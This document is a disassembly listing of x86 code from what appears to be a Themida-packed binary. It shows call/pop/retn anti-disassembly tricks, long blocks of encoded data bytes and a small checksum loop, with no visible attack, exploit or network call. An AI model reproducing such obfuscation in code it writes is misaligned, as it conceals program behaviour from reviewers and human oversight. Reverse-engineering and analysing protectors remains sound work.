		mov	edx, [ebp+6A805B9h]
		push	0
		push	esi
		call	sub_598FAF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598FAF	proc near		; CODE XREF: Themida_:00598FA7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_598FAF	endp

; ---------------------------------------------------------------------------
		db 0E3h
		dd 83FBBF0Fh, 7E804C2h,	89000000h, 0F9D97DB1h, 8589CE61h
		dd 6A819DDh, 2050895Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0F6C35343h, 56B0702Bh, 816630F9h, 8A90A7EBh
		dd 0CE858DFDh, 6A06ABB7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 318EC351h, 8960F90Bh
		dd 0A82E41B5h, 0D952906h, 6106A814h, 0B88689h, 6A0000h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 67C35747h
		dd 1C83A408h, 0A227B5FFh, 8B5706ABh, 0A82B2DBDh, 95FF5F06h
		dd 6A81E1Dh, 25E5BD8Bh,	665006A8h, 3489FA8Bh, 0FB8B6624h
		dd 0A227B5FFh, 8E0F06ABh, 3, 0F8DDB80h,	95FFD9B7h, 6A82A69h
		dd 8F0Fh, 0BD830000h, 6A82E3Dh,	38840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 31ADC351h, 0DE40F4E8h, 8B993B2Ch, 0A829E5BDh, 0BF665006h
		dd 34899A90h, 55BD3324h, 0FF06A801h, 0ABA227B5h, 0B19D3106h
		dd 0FF06A829h, 0A8318595h, 6880F06h, 89000000h,	0A809B9B5h
		dd 27B5FF06h, 8B06ABA2h, 0A80CA9BDh, 5595FF06h,	6A06A80Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 9A61C355h, 0CE145DCEh, 14E933F7h,	16000000h
		dd 0C39EE607h, 0F444D837h, 3722DA0Ch, 5AFA2841h, 66CBFDD1h
		dd 83628EBBh, 0A8077DBDh, 840F0206h, 59h, 605BD8Bh, 858B06A8h
		dd 6A80D19h, 9E9h, 0FFDEA500h, 0E4A9035Eh, 0C6E235h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0F0CFEECBh, 0EAFA5806h, 0B1B5896Ah, 0F06A815h, 68Bh
		dd 11958900h, 8B06A833h, 0A80F799Dh, 0C185C706h, 6A80Dh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 48CBC351h, 6F82B9C3h, 0F3B1E97Bh
		dd 8DB7FFFFh, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 889B72C3h, 61BD8BABh, 8D06A822h
		dd 0A8338585h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 399D8B82h, 9006A80Bh
		dd 0BE9h, 278D8900h, 0EACA1638h, 33E9615Ah, 9023B350h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6DC35343h
		dd 6A8A08h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 18h,	0C3C35646h, 0DD21C14Fh,	8166006Ah, 8D255CEFh, 0ACFA1B85h
		dd 2CAABF06h, 0C0830BD4h, 0B70F6005h, 3DB58BFAh, 6106A809h
		dd 12E9h, 0D6B4AF00h, 8B855624h, 0EF3886B2h, 0D1EEF56Eh
		dd 50F12AA9h, 8BBDB160h, 48961FBh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 2685D34Ah
		dd 5890Fh, 81660000h, 6A3F4DF7h, 559D8900h, 6A06A82Ah
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 242BBAA3h, 9D319F55h, 6A80591h, 2AC5B589h
		dd 95FF06A8h, 6A82541h,	14E9h, 81E1E000h, 127FD9DBh, 3044D4D0h
		dd 2559C328h, 6E5095EFh, 7F8D8D90h, 6A06AB8Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0A4FEC355h, 0FFB2F629h, 0D19D8BD1h, 8306A827h, 0A8339DBDh
		dd 850F0106h, 98h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 8CC35343h, 0F781668Fh, 26AEDF8h, 0FB8B6656h
		dd 0FABF905Fh, 5030A2A2h, 6A90DF8Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 49A8C356h
		dd 8344C586h, 0F8E0F7Ch, 0E9000000h, 0Ah, 0E6D034AAh, 0DA292001h
		dd 95FFEF1Dh, 6A81E1Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0FEC35545h, 86D014EFh, 9D8BF96Eh, 6A820E1h
		dd 0E88E9h, 0E800h, 815D0000h, 0ACFA25EDh, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0DF8BB5DBh, 9290F4BBh, 2E858D6Fh, 8B06AB7Eh,	0A8028DBDh
		dd 52505006h, 0BF60310Fh, 3A3EF0FAh, 2432BA66h,	89585A61h
		dd 85092404h, 6A80DF9h,	35FF64h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0D009C350h
		dd 0C7802025h, 25896499h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5994BF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5994BF	proc near		; CODE XREF: Themida_:005994B7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5994BF	endp

; ---------------------------------------------------------------------------
		db 62h
; ---------------------------------------------------------------------------
		push	esi
		mov	ebx, 0D09BD8Bh
		test	al, 6
		inc	dword ptr [ebp+6A833F1h]
		push	0
		push	ecx
		call	sub_5994E9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5994E9	proc near		; CODE XREF: Themida_:005994E1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5994E9	endp

; ---------------------------------------------------------------------------
		push	edi
		add	[ebx], dh
		pop	ecx
		xor	eax, 57E1B1C5h
		mov	di, si
		pop	edi
		mov	bx, cx
		push	0FFFFFFFFh
		push	0
		push	eax
		call	sub_599516
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599516	proc near		; CODE XREF: Themida_:0059950Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_599516	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		sbb	edi, [esi+33h]
		call	fword ptr [ebp-207E654Dh]
		imul	edx, [ecx+edi*8+1], 2111B5FFh
		test	al, 6
		push	0
		push	eax
		call	sub_599545
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599545	proc near		; CODE XREF: Themida_:0059953Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_599545	endp

; ---------------------------------------------------------------------------
		db 0ABh, 0E8h, 0FEh
; ---------------------------------------------------------------------------
		mov	al, 34h
		call	dword ptr [ebp+6A82A7Dh]
		jmp	loc_5996B2
; ---------------------------------------------------------------------------
		db 29h,	95h, 4Dh
		dd 0BF06A80Eh, 676072B8h, 0BD8B00B0h, 6A829F1h,	0BB6670E6h
		dd 71E427C1h, 80DBADBFh, 0F613C0Eh, 12583h, 14E800h, 0CA800000h
		dd 82B7F6D4h, 0B19A328Dh, 11271CA8h, 5E3F64EDh,	840F77C3h
		dd 3, 5FDCC380h, 0BFC8B60Fh, 737683D3h,	6BAh, 4DBD0900h
		dd 8B06A809h, 6800FC1h,	8B000000h, 0A82C459Dh, 4E8C106h
		dd 1989B509h, 9D8B06A8h, 6A80F05h, 8BE2F766h, 0A80759BDh
		dd 8BC82B06h, 0A81D91BDh, 0FD18B06h, 8D0FDBB7h,	0Ch, 6840Fh
		dd 8D290000h, 6A813E9h,	0A5E9h,	9DBF6600h, 50858B2Dh, 8B47554Ch
		dd 0A81E21BDh, 61858906h, 8306A82Fh, 0F55607C0h, 0EE95Bh
		dd 1BC10000h, 14622C3h,	0CED08C80h, 0EA1419FBh,	5700C083h
		dd 9E8h, 0AEE23500h, 1020D2E9h,	5BF92078h, 0FD03B5Bh, 1583h
		dd 29B53100h, 5106A822h, 0E95BDE8Ah, 4Ah, 7D58529h, 8D8B06A8h
		dd 0FFFFFFFFh, 1BE99D89h, 0E18306A8h, 2F840F01h, 2B000000h
		dd 0A80F31BDh, 0FFA58306h, 0FEFFFFFFh, 1F119529h, 958906A8h
		dd 47554C50h, 0CE9h, 70463300h,	0A7BE8EC5h, 8CCD1DC0h
		dd 0E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5996B2:				; CODE XREF: Themida_:00599560j
		lea	esi, [ebp+6AC6FB2h]
		push	0
		push	eax
		call	sub_5996C3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5996C3	proc near		; CODE XREF: Themida_:005996BBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5996C3	endp

; ---------------------------------------------------------------------------
		db 43h
		dd 0FB1B59A1h, 667B5C14h, 8B02B2BBh, 0A815959Dh, 0F006A06h
		dd 68Ah, 0B59D2300h, 0FF06A819h, 0A81B3195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0EE180B0Ah, 0F78B6660h, 8E9h, 84DEA800h, 4A16B845h
		dd 8D2961DCh, 6A833C1h,	104FB9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 5C92AA93h
		dd 34ED9D29h, 0BF0F06A8h, 0FCE183F8h, 5860Fh, 81660000h
		dd 0FC85BBEBh, 329DBD8Bh, 8E906A8h, 0F5000000h,	0E9C431B1h
		dd 2B5D9E98h, 9D9D31C0h, 0BA06A816h, 0
; ---------------------------------------------------------------------------


loc_59978C:				; CODE XREF: Themida_:00599796j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_59978C
		push	0
		push	ebp
		call	sub_5997A3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5997A3	proc near		; CODE XREF: Themida_:0059979Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5997A3	endp

; ---------------------------------------------------------------------------
		db 4Eh
		dd 0BDBB651Eh, 0B0CC32Dh, 0A830FDBDh, 89BD8B06h, 6A06A830h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 726BC352h, 727FF99Fh, 880D894Bh, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 904CC353h, 0FBAAB2A7h, 958B33E5h,	6A805B9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0D2C35040h
		dd 8D8BFD8Ah, 6A81469h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0B6C35545h, 0FCD92B85h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 2E24EEC3h, 0C6E79584h
		dd 0CABDD781h, 6A5E3Dh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 2FB9C6C3h, 8B52D213h, 0A829F1BDh
		dd 91BD8306h, 6A80Ch, 81840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 1320CBC3h
		dd 48DA32CDh, 0B8h, 9BD2B00h, 8D06A825h, 0A84FAF8Dh, 85895606h
		dd 6A82F95h, 0CDBD8B5Bh, 0FF06A816h, 51006AE1h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 99B80E75h
		dd 0E860DA95h, 5, 0C6D9A02Fh, 41858BFDh, 5F06A82Fh, 958D2956h
		dd 5B06A830h, 83FB8B61h, 0A80BBDBDh, 840F0006h,	3F7h, 1701B589h
		dd 0BD8306A8h, 6A80BBDh, 0FF840F01h, 89000003h,	0A828A19Dh
		dd 0BDBD8306h, 306A80Bh, 3B6860Fh, 6A600000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 948DC350h, 31958988h, 6606A81Ah, 0DE9D98Ch, 4C000000h
		dd 0A46C9931h, 460AE877h, 0D5C0AFB9h, 6604E180h, 2F9D781h
		dd 840FC90Ah, 112h, 858BFE8Bh, 6A80BE1h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 0A2C35747h, 1D5D8533h
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BD23CDC3h, 6A805D5h, 0EE850h, 57D60000h
		dd 3B1CFC89h, 475D5329h, 2DAF3C5Ch, 0A59BE60h, 33BF2617h
		dd 616593A3h, 2404895Fh, 1D9D8B51h, 5F06A815h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 4CE4FAC3h, 0E1E465CDh, 0CD19589h, 8D2906A8h,	6A81FBDh
		dd 7EB06B68h, 0E9BB66FBh, 240481E9h, 4A05394h, 95FFD88Bh
		dd 6A80741h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	80C35242h, 636A1269h, 8166CB7Eh, 891614C3h, 0ABA22785h
		dd 33BB6606h, 212E9FFh,	10E80000h, 31000000h, 7BA155EEh
		dd 0C34E6944h, 0F788E767h, 5F2C563Dh, 1BE1B509h, 858B06A8h
		dd 6ABA21Fh, 0C7BCE380h, 1800h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0D70B1730h
		dd 2261B509h, 0B58B06A8h, 6ABA223h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0AAC35646h,	0DAB04454h, 873DAE4Eh
		dd 0BE9FC45h, 0D1000000h, 14A78241h, 0E7C3CE68h, 858B2814h
		dd 6A82B7Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	76C35040h, 644CED89h, 49EFA9FCh, 0BE9h,	60537600h
		dd 75489DB2h, 234ECD7h,	0F9500689h, 0E1858B5Bh,	6A06A80Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 4F2EC351h, 6A044689h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5ADEC355h
		dd 0B7AA46FDh, 506F6506h, 11E851h, 0AD790000h, 72D4D6A4h
		dd 341821C2h, 4CB6E04Eh, 0E99F0C07h, 11h, 0D440F28h, 0CF0C5783h
		dd 0B3E738CEh, 88E67E4h, 895B5B15h, 8C0F2434h, 6, 62DBD8Bh
		dd 0B5FF06A8h, 6ABA21Fh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 79C35646h, 0F1EF40Eh,	684h, 8DBD3100h
		dd 6806A817h, 0EC86325Ah, 8B665250h, 52310FD9h,	8C6E30BFh
		dd 585A5F52h, 0A5240481h, 8B1398D1h, 0A831A19Dh, 27858D06h
		dd 6A06ABA2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 4A4EC351h, 8A87E264h, 0CBE5BFFCh
		dd 0D38060DEh, 52505004h, 0DF8B6657h, 66310F5Bh, 585AFA8Bh
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 6EC3C356h, 74195FFh, 9D8906A8h
		dd 6A80F31h, 53006A61h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0FD9647F7h, 0C7190D2Ah, 0A80BBD85h
		dd 306h, 54DF8100h, 835105C9h, 0ABA227BDh, 840F0006h, 24h
		dd 3AE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 8733868Fh, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 6B27C351h, 0E8F518D8h
		dd 33CB5798h, 0A82F4D9Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 55F710h, 6676B260h
		dd 61CD2BBAh, 0BBDBD83h, 0F0306A8h, 49885h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0C3807C98h, 27BD83DDh, 6ABA2h, 46B840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 6D57AAC3h, 4D93EA9h,	0FFC7CB80h, 0ABA227B5h,	259D8B06h
		dd 0FF06A80Dh, 0A815F995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0E37482DCh
		dd 2B4FC781h, 0B58B2EEEh, 6ABA21Bh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 5BC35242h, 0BD8BCB7Dh, 6A80065h
		dd 0DE9h, 0C86CFD00h, 0CA8D2A7Dh, 718B72BFh, 9D8B6266h
		dd 6A8158Dh, 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0A5918DC3h, 1B051D9h
		dd 8B6050CAh, 348961DEh, 0C59D8B24h, 0FF06A80Ch, 0ABA227B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 5C8DDC7Ch, 344EC062h, 4D9D8B94h,	8906A82Eh
		dd 0A8026DBDh, 9995FF06h, 6A06A821h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 43B2C353h
		dd 1D9D8B3Ah, 8B06A834h, 0ABA21BB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0BBF2A698h
		dd 400D5BC4h, 10E9h, 9F630100h,	0A6BA9A0h, 0E0335E7h, 0D39B7B9Eh
		dd 41858BC4h, 8906A80Eh, 0C486h, 959D0B00h, 8B06A802h
		dd 0A805B995h, 4C28306h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h
		dd 14h,	10C35747h, 2B11B589h, 7E906A8h,	88000000h, 31D0B5E8h
		dd 50892BD5h, 0DFB70F20h, 8E9h,	4B45500h, 899326F9h, 0CE858D20h
		dd 6A06ABB7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 9AE2C357h, 0B523DE81h,	8E9h, 4E175D00h
		dd 0BBA11561h, 0F98B66EDh, 0B88689h, 0BB660000h, 6A7812h
		dd 2A918529h, 0B5FF06A8h, 6ABA227h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0E2C35545h,	810FA161h, 2, 95FF9AB7h
		dd 6A81E1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	42C35646h, 0C80F5C68h, 8D896086h, 6A81509h, 236061F5h
		dd 0A81AA995h, 3D958B06h, 6106A80Fh, 0DE8B6696h, 0FE8B6650h
		dd 0D2C78096h, 0A227B5FFh, 17BB06ABh, 0FF758DBFh, 0A82A6995h
		dd 7F35BF06h, 0BD8359E9h, 6A82E3Dh, 56840F00h, 96000000h
		dd 0DA8B6050h, 850F5250h, 0
		dd 585A310Fh, 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 4639BEC3h, 6C1F562Eh, 13E8D9F2h
		dd 5A000000h, 0C3DD347Dh, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh
		dd 9D2B34DAh, 6A82889h,	27B5FF5Bh, 6A06ABA2h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 527FC353h, 39D6E8BFh, 0FFFB8B4Fh, 0A8318595h, 7DBD8B06h
		dd 0F06A826h, 685h, 559D8B00h, 0FF06A81Bh, 0ABA227B5h
		dd 13E906h, 0B7DC0000h,	0F3AAFA18h, 1E8A6316h, 6ADDC589h
		dd 726728C4h, 95895043h, 6A81985h, 5595FF5Bh, 6A06A80Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0E17EC351h, 138A3637h, 0BD83509Fh, 6A8077Dh
		dd 0A0840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 758FC357h, 0A8724A84h
		dd 0DE9C7h, 11380000h, 0A1351DF8h, 0FE73485Bh, 8BDE9829h
		dd 0A82A2DBDh, 19858B06h, 6A06A80Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 359CC350h
		dd 0A814D0BBh, 14E93Ah,	918C0000h, 703FC36h, 0EA4658Dh
		dd 907C7639h, 4A4A6CB7h, 0C62E58h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 350607F6h
		dd 0C7DA4A5Ch, 0A80DC185h, 6, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0F287E9EDh
		dd 0BD03FFFFh, 6A82E55h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0FDE05BC3h, 14A69284h
		dd 31A2A999h, 0A8001D8Dh, 85858D06h, 6A06A833h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E97AC357h, 9, 1A0F5E53h, 3C38EDBDh,	489506Bh, 1D9D8B24h
		dd 0F06A811h, 680h, 29BD0900h, 6A06A801h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 4D1EA6ACh, 2C380DEh,	6AF8B70Fh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 62858D45h
		dd 6A06AD0Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 2551C353h, 8090CE57h, 66F5FECBh
		dd 0C083F98Bh, 0D59D8B05h, 5006A806h, 8DC0B2BFh, 24048950h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BFC35646h
		dd 3B84C446h, 6AF960F1h, 0E1BD8B00h, 6A06A817h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0D7F44D8Ch, 6191B1D5h, 70BF7AF6h, 8B3FDE28h,	0A82A61BDh
		dd 4195FF06h, 8B06A825h, 0A80EF5BDh, 7F8D8D06h,	6A06AB8Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 8EB5C356h, 28BA4E2Eh, 0FF76508Dh,	51006AD1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 3D7B2818h, 339DBD83h, 0F0106A8h, 2E85h, 65B50900h, 6A06A807h
		dd 0F7816602h, 0F90F326h, 8Eh, 0BE95000h, 66000000h, 43054919h
		dd 13955837h, 0FF903510h, 0A81E1D95h, 0E9FC8A06h, 0D1Fh
		dd 0E8h, 0ED815D00h, 6AD0A6Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 29C35646h, 0C78B6021h, 7B4B4ABEh
		dd 9E96123h, 0A7000000h, 1DA05D6h, 85418ACCh, 7E2E858Dh
		dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 50CB4EC3h, 0BADDBE60h, 8961271Eh,	6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0BE9616C3h, 497DA17Fh, 9D8B2101h, 6A805E5h, 35FF64h
		dd 0F000000h, 0A8Fh, 85896000h,	6A83529h, 64615951h, 2589h
		dd 0F98B0000h, 0FFD8B70Fh, 0A833F185h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 928F2FE5h, 1B79BD8Bh, 0FF6A06A8h, 11B5FFFCh,	6A06A82Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 52ECC355h, 81664A97h, 89A4CAE3h, 0A80C5DBDh
		dd 7D95FF06h, 0E906A82Ah, 16Eh,	277D9D8Bh, 0B006A8h, 5159D8Bh
		dd 70E606A8h, 17C19D8Bh, 71E406A8h, 12E9h, 4E689400h, 0F4FF140Ch
		dd 5056C999h, 0AC312979h, 3CEC37E7h, 37830F61h,	60000001h
		dd 31C18D29h, 880F06A8h, 6, 289B589h, 0F6106A8h, 0CE9C8B6h
		dd 63000000h, 97C83685h, 6FA6EF20h, 0BAC6DC9Fh,	6, 0AE9h
		dd 8C11E400h, 1D4FCF93h, 8B2DB8B2h, 9D9529C1h, 0C106A821h
		dd 880F04E8h, 1, 0E2F766F9h, 0CE8h, 0FCD1AB00h,	0DF9D3384h
		dd 0B6DB48D3h, 8E9E5h, 28F10000h, 3040860Ah, 2B5F2A54h
		dd 0D7DF80C8h, 12E8D18Bh, 0FB000000h, 0C37D23A6h, 0BD80585Ch
		dd 92E1F3CBh, 25326681h, 9ED381CAh, 5F7DD246h, 9DE9h, 8860F00h
		dd 0F000000h, 285h, 8BD88B00h, 4E4985h,	6800F44h, 1000000h
		dd 0A80DADBDh, 83DD8A06h, 0B70F07C0h, 0C083DFh,	0C552B0BFh
		dd 0FD03B36h, 1383h, 599D8B00h,	906A807h, 0A8206185h, 54E906h
		dd 0F98A0000h, 0FFFF8D8Bh, 13E8FFFFh, 6000000h,	5B1DAE6Eh
		dd 0ED597BC4h, 65903A1Ch, 24F3A009h, 60539A9Dh,	835F5B61h
		dd 840F01E1h, 26h, 8D9D8B57h, 5B06A801h, 0FFFFA583h, 81FEFFFFh
		dd 889F82DBh, 0FE8B6626h, 4E499589h, 0B70F4400h, 0E9DAh
		dd 0B58D0000h, 6AC85DCh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 0B1C35040h, 0AFF7818Bh, 8B0C52DAh, 0A814FDBDh
		dd 6A006A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 910CC356h, 658103B6h, 71E0FFA0h
		dd 0F459589h, 13E906A8h, 9F000000h, 0B82BFE65h,	1840DE0Ch
		dd 2B530F0Dh, 0FFC145FFh, 95FF111Bh, 6A81B31h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 66C35141h, 89B727D2h
		dd 0A8275D85h, 0FE3B906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0B24161C3h, 367B4BB4h
		dd 0FA8A3B36h, 60FCE183h, 1FB59589h, 8B6606A8h,	8BFC61CBh
		dd 0B8FAh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 8C8511C3h, 0EA0CEA7h, 2B5612FDh
		dd 9E9D2h, 1220000h, 37200F44h,	0AD19812Fh, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8B47C352h, 0A833E5BDh
		dd 0FBDDBF06h, 880D4CCAh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6401C357h
		dd 8968AE53h, 0A81D598Dh, 0E7816606h, 958B75A9h, 6A805B9h
		dd 0DAEF8166h, 698D8B1Fh, 6A06A814h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0CFE9C352h
		dd 417743C5h, 81665568h, 50F411F3h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0AD9D3358h, 6A06A82Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
